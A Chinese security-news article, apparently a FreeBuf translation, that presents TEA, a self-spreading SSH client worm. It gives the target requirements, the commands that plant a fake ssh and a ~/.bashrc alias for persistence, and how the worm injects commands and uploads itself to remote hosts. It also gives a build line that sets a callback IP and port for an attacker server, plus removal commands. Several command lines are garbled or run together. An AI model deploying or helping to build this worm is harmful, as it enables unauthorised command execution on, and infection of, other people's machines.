TEA是一款基于TAS框架的SSH客戶端蠕蟲,從本質上說,它是一個仿冒的SSH客戶端,它能夠修改tty輸入/輸出來實現任意命令執行,或通過SSH連接來上傳自身以實現滲透感染。
為了實現該工具的正常功能,遠程主機需要滿足以下條件:
1、在登錄時顯示“Last login”信息;
2、dd和stty;
3、目標用戶使用Bash作為默認Shell;
4、可運行fakessh代碼;
5、~/.bashrc可寫入;
感染本地主機:
mkdir ~/.sshwormcp ssh ~/.sshwormalias ssh='~/.sshworm/ssh'
我們首次執行fakessh時,并不會顯示任何內容,工具會執行post-install.c中的代碼,并將字符串alias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中:
$?ssh$?sshusage:?ssh?[-46AaCfGgKkMNnqsTtVvXxYy]?[-B?bind_interface][-b?bind_address]?[-c?cipher_spec]?[-D?[bind_address:]port][-E?log_file]?[-e?escape_char]?[-F?configfile]?[-I?pkcs11][-i?identity_file]?[-J?[user@]host[:port]]?[-L?address][-l?login_name]?[-m?mac_spec]?[-O?ctl_cmd]?[-o?option]?[-p?port][-Q?query_option]?[-R?address]?[-S?ctl_path]?[-W?host:port][-w local_tun[:remote_tun]] destination [command
實現傳播和感染
我們只需要連接到目標SSH服務器,并且服務器滿足TEA運行條件的話,目標設備以及連接至目標設備的主機就可以成功被感染。
tty修改:
Fakessh執行之后,它將會等到字符串“Last login”來開啟I/O修改(output-hooks.c),當接收到“Last login”之后,它將會發送一些任意指令(inject-cmd.c),然后等待命令執行的結果(output-hooks.c)。如果遠程設備中不存在文件~/.sshworm/ssh的話,蠕蟲將會上傳自身(upload.c)。
卸載:
$?rm?-rf?~/.sshworm
$?perl?-i?-pe?'s;alias?ssh="~/.sshworm/ssh";;g'?~/.bashrc
$ unalias ssh
編譯
我建議大家使用musl-libc,或其他的libc,但我不建議大家使用glibc,因為使用glibc編譯的代碼會非常大。
獲取源碼:
$ git clone —recurse-submodules https://github.com/hc0d3r/tea
構建選項:
名稱 | 介紹 |
---|---|
IP | 遠程IPv4 連接 |
PORT | 遠程port 連接 |
樣例:
$ make CC=musl-gcc IP=my-ipv4 PORT=1234
服務器
這里我們制作了一個簡單的服務器來處理鏈接,當post-install.c的代碼被執行之后,服務器將會接收到鏈接。服務器機制非常簡單,當新鏈接建立成功之后,它將會執行一條新的命令并通過命令行傳遞鏈接文件描述符,這樣才能保證執行的程序能夠處理鏈接。
編譯:
$?cd?server$?makecc?-Wall?-Wextra?-O3?-c?net.c?-o?net.occ?-Wall?-Wextra?-O3?-c?replace.c?-o?replace.occ?-Wall?-Wextra?-O3?-c?term.c?-o?term.occ?-Wall?-Wextra?-O3?-c?main.c?-o?main.occ -Wall -Wextra -O3 -o server net.o replace.o term.o main.o
工具演示
項目地址
TEA:【GitHub傳送門】(閱讀原文獲取)
* 參考來源:hc0d3r,FB小編Alpha_h4ck編譯,轉載請注明來自FreeBuf.COM

精彩推薦
